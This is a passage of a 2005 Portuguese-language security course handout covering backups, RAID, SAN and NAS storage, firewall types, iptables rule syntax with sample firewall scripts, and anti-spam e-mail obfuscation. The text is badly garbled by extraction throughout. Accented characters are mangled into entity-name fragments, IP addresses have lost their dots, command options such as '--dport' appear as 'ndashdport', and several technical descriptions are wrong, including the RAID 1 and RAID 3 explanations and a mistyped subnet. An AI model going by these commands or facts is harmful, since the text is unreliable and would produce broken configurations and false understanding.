fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom 